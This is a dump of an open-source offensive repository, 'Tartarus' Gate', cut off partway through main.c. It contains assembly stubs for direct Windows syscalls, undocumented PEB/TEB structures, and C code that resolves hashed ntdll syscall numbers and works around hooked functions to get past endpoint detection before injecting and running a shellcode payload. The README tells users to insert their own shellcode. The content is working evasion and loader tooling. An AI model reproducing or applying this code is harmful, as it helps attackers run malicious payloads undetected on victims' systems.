├── tartarus.jpg ├── HellsGate ├── HellsGate.vcxproj.user ├── hellsgate.asm ├── HellsGate.vcxproj.filters ├── HellsGate.vcxproj ├── structs.h └── main.c ├── HellsGate.sln └── README.md /tartarus.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trickster0/TartarusGate/HEAD/tartarus.jpg -------------------------------------------------------------------------------- /HellsGate/HellsGate.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /HellsGate/hellsgate.asm: -------------------------------------------------------------------------------- 1 | ; Hell's Gate 2 | ; Dynamic system call invocation 3 | ; 4 | ; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec) 5 | 6 | .data 7 | wSystemCall DWORD 000h 8 | 9 | .code 10 | HellsGate PROC 11 | nop 12 | mov wSystemCall, 000h 13 | nop 14 | mov wSystemCall, ecx 15 | nop 16 | ret 17 | HellsGate ENDP 18 | 19 | HellDescent PROC 20 | nop 21 | mov rax, rcx 22 | nop 23 | mov r10, rax 24 | nop 25 | mov eax, wSystemCall 26 | nop 27 | syscall 28 | ret 29 | HellDescent ENDP 30 | end 31 | -------------------------------------------------------------------------------- /HellsGate/HellsGate.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | 28 | 29 | Source Files 30 | 31 | 32 | -------------------------------------------------------------------------------- /HellsGate.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30114.105 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HellsGate", "HellsGate\HellsGate.vcxproj", "{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.ActiveCfg = Debug|x64 17 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.Build.0 = Debug|x64 18 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.ActiveCfg = Debug|Win32 19 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.Build.0 = Debug|Win32 20 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.ActiveCfg = Release|x64 21 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.Build.0 = Release|x64 22 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.ActiveCfg = Release|Win32 23 | {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {AAAFFDAB-0074-4A3D-BA5B-63F51AA7F8EB} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Tartarus' Gate - Bypassing EDRs 2 | 3 |

4 | OffensiveRust 5 |

6 | 7 | ### Description 8 | 9 | Hell's Gate evolved to Halo's Gate to bypass EDRs by unhooking some of them and now it turned to Tartarus' Gate to handle even more WINAPI hooking methods. 10 | 11 | I have added some more ASM commands just for "obfuscation" for the syscalls. 12 | To use, just simply replace without shellcode, that is in .text segment on purpose although it will work in any other segments. I will let you figure out why. 13 | 14 | The custom method of "memcpy" is replaced with NtWriteVirtualMemory since it did not work very well with certain EDRs but if you still want to use it, just comment the line of NtWriteVirtualMemory and uncomment the VxMoveMemory. 15 | 16 | ### Credits / References 17 | ##### Reenz0h from @SEKTOR7net (Creator of the HalosGate technique ) 18 | + This HalosGate project is based on the work of Reenz0h. 19 | + Most of the C techniques I use are from Reenz0h's awesome courses and blogs 20 | + Best classes for malware development out there. 21 | + Creator of the halos gate technique. His work was the motivation for this work. 22 | + https://blog.sektor7.net/#!res/2021/halosgate.md 23 | + https://institute.sektor7.net/ 24 | ##### @smelly__vx & @am0nsec ( Creators/Publishers of the Hells Gate technique ) 25 | + Awesome work on this method, really enjoyed working through it myself. Thank you! 26 | + https://github.com/am0nsec/HellsGate 27 | + Link to the Hell's Gate paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf 28 | -------------------------------------------------------------------------------- /HellsGate/HellsGate.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {dc6187cb-d5df-4973-84a2-f92aae90cda9} 25 | HellsGate 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | false 35 | 36 | 37 | Application 38 | false 39 | v142 40 | true 41 | Unicode 42 | false 43 | 44 | 45 | Application 46 | true 47 | v142 48 | Unicode 49 | false 50 | 51 | 52 | Application 53 | false 54 | v142 55 | true 56 | Unicode 57 | false 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | true 80 | 81 | 82 | false 83 | 84 | 85 | true 86 | 87 | 88 | false 89 | 90 | 91 | 92 | Level3 93 | true 94 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 95 | true 96 | 97 | 98 | Console 99 | true 100 | 101 | 102 | 103 | 104 | Level3 105 | true 106 | true 107 | true 108 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 109 | true 110 | 111 | 112 | Console 113 | true 114 | true 115 | true 116 | 117 | 118 | 119 | 120 | Level3 121 | true 122 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 123 | true 124 | 125 | 126 | Console 127 | true 128 | 129 | 130 | 131 | 132 | Level3 133 | true 134 | true 135 | true 136 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 137 | true 138 | 139 | 140 | Console 141 | true 142 | true 143 | true 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | Document 155 | 156 | 157 | 158 | 159 | 160 | 161 | -------------------------------------------------------------------------------- /HellsGate/structs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | /*-------------------------------------------------------------------- 5 | STRUCTURES 6 | --------------------------------------------------------------------*/ 7 | typedef struct _LSA_UNICODE_STRING { 8 | USHORT Length; 9 | USHORT MaximumLength; 10 | PWSTR Buffer; 11 | } LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; 12 | 13 | typedef struct _LDR_MODULE { 14 | LIST_ENTRY InLoadOrderModuleList; 15 | LIST_ENTRY InMemoryOrderModuleList; 16 | LIST_ENTRY InInitializationOrderModuleList; 17 | PVOID BaseAddress; 18 | PVOID EntryPoint; 19 | ULONG SizeOfImage; 20 | UNICODE_STRING FullDllName; 21 | UNICODE_STRING BaseDllName; 22 | ULONG Flags; 23 | SHORT LoadCount; 24 | SHORT TlsIndex; 25 | LIST_ENTRY HashTableEntry; 26 | ULONG TimeDateStamp; 27 | } LDR_MODULE, * PLDR_MODULE; 28 | 29 | typedef struct _PEB_LDR_DATA { 30 | ULONG Length; 31 | ULONG Initialized; 32 | PVOID SsHandle; 33 | LIST_ENTRY InLoadOrderModuleList; 34 | LIST_ENTRY InMemoryOrderModuleList; 35 | LIST_ENTRY InInitializationOrderModuleList; 36 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 37 | 38 | typedef struct _PEB { 39 | BOOLEAN InheritedAddressSpace; 40 | BOOLEAN ReadImageFileExecOptions; 41 | BOOLEAN BeingDebugged; 42 | BOOLEAN Spare; 43 | HANDLE Mutant; 44 | PVOID ImageBase; 45 | PPEB_LDR_DATA LoaderData; 46 | PVOID ProcessParameters; 47 | PVOID SubSystemData; 48 | PVOID ProcessHeap; 49 | PVOID FastPebLock; 50 | PVOID FastPebLockRoutine; 51 | PVOID FastPebUnlockRoutine; 52 | ULONG EnvironmentUpdateCount; 53 | PVOID* KernelCallbackTable; 54 | PVOID EventLogSection; 55 | PVOID EventLog; 56 | PVOID FreeList; 57 | ULONG TlsExpansionCounter; 58 | PVOID TlsBitmap; 59 | ULONG TlsBitmapBits[0x2]; 60 | PVOID ReadOnlySharedMemoryBase; 61 | PVOID ReadOnlySharedMemoryHeap; 62 | PVOID* ReadOnlyStaticServerData; 63 | PVOID AnsiCodePageData; 64 | PVOID OemCodePageData; 65 | PVOID UnicodeCaseTableData; 66 | ULONG NumberOfProcessors; 67 | ULONG NtGlobalFlag; 68 | BYTE Spare2[0x4]; 69 | LARGE_INTEGER CriticalSectionTimeout; 70 | ULONG HeapSegmentReserve; 71 | ULONG HeapSegmentCommit; 72 | ULONG HeapDeCommitTotalFreeThreshold; 73 | ULONG HeapDeCommitFreeBlockThreshold; 74 | ULONG NumberOfHeaps; 75 | ULONG MaximumNumberOfHeaps; 76 | PVOID** ProcessHeaps; 77 | PVOID GdiSharedHandleTable; 78 | PVOID ProcessStarterHelper; 79 | PVOID GdiDCAttributeList; 80 | PVOID LoaderLock; 81 | ULONG OSMajorVersion; 82 | ULONG OSMinorVersion; 83 | ULONG OSBuildNumber; 84 | ULONG OSPlatformId; 85 | ULONG ImageSubSystem; 86 | ULONG ImageSubSystemMajorVersion; 87 | ULONG ImageSubSystemMinorVersion; 88 | ULONG GdiHandleBuffer[0x22]; 89 | ULONG PostProcessInitRoutine; 90 | ULONG TlsExpansionBitmap; 91 | BYTE TlsExpansionBitmapBits[0x80]; 92 | ULONG SessionId; 93 | } PEB, * PPEB; 94 | 95 | typedef struct __CLIENT_ID { 96 | HANDLE UniqueProcess; 97 | HANDLE UniqueThread; 98 | } CLIENT_ID, * PCLIENT_ID; 99 | 100 | typedef struct _TEB_ACTIVE_FRAME_CONTEXT { 101 | ULONG Flags; 102 | PCHAR FrameName; 103 | } TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; 104 | 105 | typedef struct _TEB_ACTIVE_FRAME { 106 | ULONG Flags; 107 | struct _TEB_ACTIVE_FRAME* Previous; 108 | PTEB_ACTIVE_FRAME_CONTEXT Context; 109 | } TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; 110 | 111 | typedef struct _GDI_TEB_BATCH { 112 | ULONG Offset; 113 | ULONG HDC; 114 | ULONG Buffer[310]; 115 | } GDI_TEB_BATCH, * PGDI_TEB_BATCH; 116 | 117 | typedef PVOID PACTIVATION_CONTEXT; 118 | 119 | typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { 120 | struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; 121 | PACTIVATION_CONTEXT ActivationContext; 122 | ULONG Flags; 123 | } RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; 124 | 125 | typedef struct _ACTIVATION_CONTEXT_STACK { 126 | PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; 127 | LIST_ENTRY FrameListCache; 128 | ULONG Flags; 129 | ULONG NextCookieSequenceNumber; 130 | ULONG StackId; 131 | } ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; 132 | 133 | typedef struct _TEB { 134 | NT_TIB NtTib; 135 | PVOID EnvironmentPointer; 136 | CLIENT_ID ClientId; 137 | PVOID ActiveRpcHandle; 138 | PVOID ThreadLocalStoragePointer; 139 | PPEB ProcessEnvironmentBlock; 140 | ULONG LastErrorValue; 141 | ULONG CountOfOwnedCriticalSections; 142 | PVOID CsrClientThread; 143 | PVOID Win32ThreadInfo; 144 | ULONG User32Reserved[26]; 145 | ULONG UserReserved[5]; 146 | PVOID WOW32Reserved; 147 | LCID CurrentLocale; 148 | ULONG FpSoftwareStatusRegister; 149 | PVOID SystemReserved1[54]; 150 | LONG ExceptionCode; 151 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 152 | PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; 153 | UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; 154 | ULONG TxFsContext; 155 | #elif (NTDDI_VERSION >= NTDDI_WS03) 156 | PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; 157 | UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; 158 | #else 159 | ACTIVATION_CONTEXT_STACK ActivationContextStack; 160 | UCHAR SpareBytes1[24]; 161 | #endif 162 | GDI_TEB_BATCH GdiTebBatch; 163 | CLIENT_ID RealClientId; 164 | PVOID GdiCachedProcessHandle; 165 | ULONG GdiClientPID; 166 | ULONG GdiClientTID; 167 | PVOID GdiThreadLocalInfo; 168 | PSIZE_T Win32ClientInfo[62]; 169 | PVOID glDispatchTable[233]; 170 | PSIZE_T glReserved1[29]; 171 | PVOID glReserved2; 172 | PVOID glSectionInfo; 173 | PVOID glSection; 174 | PVOID glTable; 175 | PVOID glCurrentRC; 176 | PVOID glContext; 177 | NTSTATUS LastStatusValue; 178 | UNICODE_STRING StaticUnicodeString; 179 | WCHAR StaticUnicodeBuffer[261]; 180 | PVOID DeallocationStack; 181 | PVOID TlsSlots[64]; 182 | LIST_ENTRY TlsLinks; 183 | PVOID Vdm; 184 | PVOID ReservedForNtRpc; 185 | PVOID DbgSsReserved[2]; 186 | #if (NTDDI_VERSION >= NTDDI_WS03) 187 | ULONG HardErrorMode; 188 | #else 189 | ULONG HardErrorsAreDisabled; 190 | #endif 191 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 192 | PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; 193 | GUID ActivityId; 194 | PVOID SubProcessTag; 195 | PVOID EtwLocalData; 196 | PVOID EtwTraceData; 197 | #elif (NTDDI_VERSION >= NTDDI_WS03) 198 | PVOID Instrumentation[14]; 199 | PVOID SubProcessTag; 200 | PVOID EtwLocalData; 201 | #else 202 | PVOID Instrumentation[16]; 203 | #endif 204 | PVOID WinSockData; 205 | ULONG GdiBatchCount; 206 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 207 | BOOLEAN SpareBool0; 208 | BOOLEAN SpareBool1; 209 | BOOLEAN SpareBool2; 210 | #else 211 | BOOLEAN InDbgPrint; 212 | BOOLEAN FreeStackOnTermination; 213 | BOOLEAN HasFiberData; 214 | #endif 215 | UCHAR IdealProcessor; 216 | #if (NTDDI_VERSION >= NTDDI_WS03) 217 | ULONG GuaranteedStackBytes; 218 | #else 219 | ULONG Spare3; 220 | #endif 221 | PVOID ReservedForPerf; 222 | PVOID ReservedForOle; 223 | ULONG WaitingOnLoaderLock; 224 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 225 | PVOID SavedPriorityState; 226 | ULONG_PTR SoftPatchPtr1; 227 | ULONG_PTR ThreadPoolData; 228 | #elif (NTDDI_VERSION >= NTDDI_WS03) 229 | ULONG_PTR SparePointer1; 230 | ULONG_PTR SoftPatchPtr1; 231 | ULONG_PTR SoftPatchPtr2; 232 | #else 233 | Wx86ThreadState Wx86Thread; 234 | #endif 235 | PVOID* TlsExpansionSlots; 236 | #if defined(_WIN64) && !defined(EXPLICIT_32BIT) 237 | PVOID DeallocationBStore; 238 | PVOID BStoreLimit; 239 | #endif 240 | ULONG ImpersonationLocale; 241 | ULONG IsImpersonating; 242 | PVOID NlsCache; 243 | PVOID pShimData; 244 | ULONG HeapVirtualAffinity; 245 | HANDLE CurrentTransactionHandle; 246 | PTEB_ACTIVE_FRAME ActiveFrame; 247 | #if (NTDDI_VERSION >= NTDDI_WS03) 248 | PVOID FlsData; 249 | #endif 250 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 251 | PVOID PreferredLangauges; 252 | PVOID UserPrefLanguages; 253 | PVOID MergedPrefLanguages; 254 | ULONG MuiImpersonation; 255 | union 256 | { 257 | struct 258 | { 259 | USHORT SpareCrossTebFlags : 16; 260 | }; 261 | USHORT CrossTebFlags; 262 | }; 263 | union 264 | { 265 | struct 266 | { 267 | USHORT DbgSafeThunkCall : 1; 268 | USHORT DbgInDebugPrint : 1; 269 | USHORT DbgHasFiberData : 1; 270 | USHORT DbgSkipThreadAttach : 1; 271 | USHORT DbgWerInShipAssertCode : 1; 272 | USHORT DbgIssuedInitialBp : 1; 273 | USHORT DbgClonedThread : 1; 274 | USHORT SpareSameTebBits : 9; 275 | }; 276 | USHORT SameTebFlags; 277 | }; 278 | PVOID TxnScopeEntercallback; 279 | PVOID TxnScopeExitCAllback; 280 | PVOID TxnScopeContext; 281 | ULONG LockCount; 282 | ULONG ProcessRundown; 283 | ULONG64 LastSwitchTime; 284 | ULONG64 TotalSwitchOutTime; 285 | LARGE_INTEGER WaitReasonBitMap; 286 | #else 287 | BOOLEAN SafeThunkCall; 288 | BOOLEAN BooleanSpare[3]; 289 | #endif 290 | } TEB, * PTEB; 291 | 292 | typedef struct _LDR_DATA_TABLE_ENTRY { 293 | LIST_ENTRY InLoadOrderLinks; 294 | LIST_ENTRY InMemoryOrderLinks; 295 | LIST_ENTRY InInitializationOrderLinks; 296 | PVOID DllBase; 297 | PVOID EntryPoint; 298 | ULONG SizeOfImage; 299 | UNICODE_STRING FullDllName; 300 | UNICODE_STRING BaseDllName; 301 | ULONG Flags; 302 | WORD LoadCount; 303 | WORD TlsIndex; 304 | union { 305 | LIST_ENTRY HashLinks; 306 | struct { 307 | PVOID SectionPointer; 308 | ULONG CheckSum; 309 | }; 310 | }; 311 | union { 312 | ULONG TimeDateStamp; 313 | PVOID LoadedImports; 314 | }; 315 | PACTIVATION_CONTEXT EntryPointActivationContext; 316 | PVOID PatchInformation; 317 | LIST_ENTRY ForwarderLinks; 318 | LIST_ENTRY ServiceTagLinks; 319 | LIST_ENTRY StaticLinks; 320 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 321 | 322 | typedef struct _OBJECT_ATTRIBUTES { 323 | ULONG Length; 324 | PVOID RootDirectory; 325 | PUNICODE_STRING ObjectName; 326 | ULONG Attributes; 327 | PVOID SecurityDescriptor; 328 | PVOID SecurityQualityOfService; 329 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 330 | 331 | typedef struct _INITIAL_TEB { 332 | PVOID StackBase; 333 | PVOID StackLimit; 334 | PVOID StackCommit; 335 | PVOID StackCommitMax; 336 | PVOID StackReserved; 337 | } INITIAL_TEB, * PINITIAL_TEB; -------------------------------------------------------------------------------- /HellsGate/main.c: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "structs.h" 4 | #include 5 | 6 | #define UP -32 7 | #define DOWN 32 8 | 9 | 10 | //typedef VOID(KNORMAL_ROUTINE) ( 11 | // IN PVOID NormalContext, 12 | // IN PVOID SystemArgument1, 13 | // IN PVOID SystemArgument2); 14 | // 15 | //typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; 16 | /*-------------------------------------------------------------------- 17 | VX Tables 18 | --------------------------------------------------------------------*/ 19 | typedef struct _VX_TABLE_ENTRY { 20 | PVOID pAddress; 21 | DWORD64 dwHash; 22 | WORD wSystemCall; 23 | } VX_TABLE_ENTRY, * PVX_TABLE_ENTRY; 24 | 25 | typedef struct _VX_TABLE { 26 | VX_TABLE_ENTRY NtAllocateVirtualMemory; 27 | VX_TABLE_ENTRY NtProtectVirtualMemory; 28 | VX_TABLE_ENTRY NtCreateThreadEx; 29 | VX_TABLE_ENTRY NtWriteVirtualMemory; 30 | VX_TABLE_ENTRY NtWaitForSingleObject; 31 | } VX_TABLE, * PVX_TABLE; 32 | 33 | /*-------------------------------------------------------------------- 34 | Function prototypes. 35 | --------------------------------------------------------------------*/ 36 | PTEB RtlGetThreadEnvironmentBlock(); 37 | BOOL GetImageExportDirectory( 38 | _In_ PVOID pModuleBase, 39 | _Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory 40 | ); 41 | BOOL GetVxTableEntry( 42 | _In_ PVOID pModuleBase, 43 | _In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, 44 | _In_ PVX_TABLE_ENTRY pVxTableEntry 45 | ); 46 | BOOL Payload( 47 | _In_ PVX_TABLE pVxTable 48 | ); 49 | PVOID VxMoveMemory( 50 | _Inout_ PVOID dest, 51 | _In_ const PVOID src, 52 | _In_ SIZE_T len 53 | ); 54 | 55 | /*-------------------------------------------------------------------- 56 | External functions' prototype. 57 | --------------------------------------------------------------------*/ 58 | extern VOID HellsGate(WORD wSystemCall); 59 | extern HellDescent(); 60 | 61 | 62 | INT wmain() { 63 | //int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { 64 | 65 | PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock(); 66 | PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock; 67 | if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) 68 | return 0x1; 69 | 70 | // Get NTDLL module 71 | PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); 72 | // Get the EAT of NTDLL 73 | PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL; 74 | if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL) 75 | return 0x01; 76 | VX_TABLE Table = { 0 }; 77 | Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b; 78 | if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory)) 79 | return 0x1; 80 | 81 | Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f; 82 | if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx)) 83 | return 0x1; 84 | 85 | Table.NtWriteVirtualMemory.dwHash = 0x68a3c2ba486f0741; 86 | if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory)) 87 | return 0x1; 88 | 89 | Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37; 90 | if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory)) 91 | return 0x1; 92 | 93 | Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb; 94 | if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject)) 95 | return 0x1; 96 | 97 | Payload(&Table); 98 | return 0x00; 99 | } 100 | 101 | PTEB RtlGetThreadEnvironmentBlock() { 102 | #if _WIN64 103 | return (PTEB)__readgsqword(0x30); 104 | #else 105 | return (PTEB)__readfsdword(0x16); 106 | #endif 107 | } 108 | 109 | DWORD64 djb2(PBYTE str) { 110 | DWORD64 dwHash = 0x7734773477347734; 111 | INT c; 112 | 113 | while (c = *str++) 114 | dwHash = ((dwHash << 0x5) + dwHash) + c; 115 | 116 | return dwHash; 117 | } 118 | 119 | BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) { 120 | // Get DOS header 121 | PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase; 122 | if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { 123 | return FALSE; 124 | } 125 | 126 | // Get NT headers 127 | PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew); 128 | if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) { 129 | return FALSE; 130 | } 131 | 132 | // Get the EAT 133 | *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); 134 | return TRUE; 135 | } 136 | 137 | BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) { 138 | PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions); 139 | PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames); 140 | PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals); 141 | 142 | for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) { 143 | PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]); 144 | PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; 145 | if (djb2(pczFunctionName) == pVxTableEntry->dwHash) { 146 | pVxTableEntry->pAddress = pFunctionAddress; 147 | 148 | // First opcodes should be : 149 | // MOV R10, RCX 150 | // MOV RAX, 151 | if (*((PBYTE)pFunctionAddress) == 0x4c 152 | && *((PBYTE)pFunctionAddress + 1) == 0x8b 153 | && *((PBYTE)pFunctionAddress + 2) == 0xd1 154 | && *((PBYTE)pFunctionAddress + 3) == 0xb8 155 | && *((PBYTE)pFunctionAddress + 6) == 0x00 156 | && *((PBYTE)pFunctionAddress + 7) == 0x00) { 157 | 158 | BYTE high = *((PBYTE)pFunctionAddress + 5); 159 | BYTE low = *((PBYTE)pFunctionAddress + 4); 160 | pVxTableEntry->wSystemCall = (high << 8) | low; 161 | 162 | return TRUE; 163 | } 164 | //if hooked check the neighborhood to find clean syscall 165 | if (*((PBYTE)pFunctionAddress) == 0xe9) { 166 | for (WORD idx = 1; idx <= 500; idx++) { 167 | // check neighboring syscall down 168 | if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c 169 | && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b 170 | && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1 171 | && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8 172 | && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00 173 | && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) { 174 | BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN); 175 | BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN); 176 | pVxTableEntry->wSystemCall = (high << 8) | low - idx; 177 | 178 | return TRUE; 179 | } 180 | // check neighboring syscall up 181 | if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c 182 | && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b 183 | && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1 184 | && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8 185 | && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00 186 | && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) { 187 | BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP); 188 | BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP); 189 | pVxTableEntry->wSystemCall = (high << 8) | low + idx; 190 | 191 | return TRUE; 192 | } 193 | 194 | } 195 | return FALSE; 196 | } 197 | if (*((PBYTE)pFunctionAddress + 3) == 0xe9) { 198 | for (WORD idx = 1; idx <= 500; idx++) { 199 | // check neighboring syscall down 200 | if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c 201 | && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b 202 | && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1 203 | && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8 204 | && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00 205 | && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) { 206 | BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN); 207 | BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN); 208 | pVxTableEntry->wSystemCall = (high << 8) | low - idx; 209 | return TRUE; 210 | } 211 | // check neighboring syscall up 212 | if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c 213 | && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b 214 | && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1 215 | && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8 216 | && 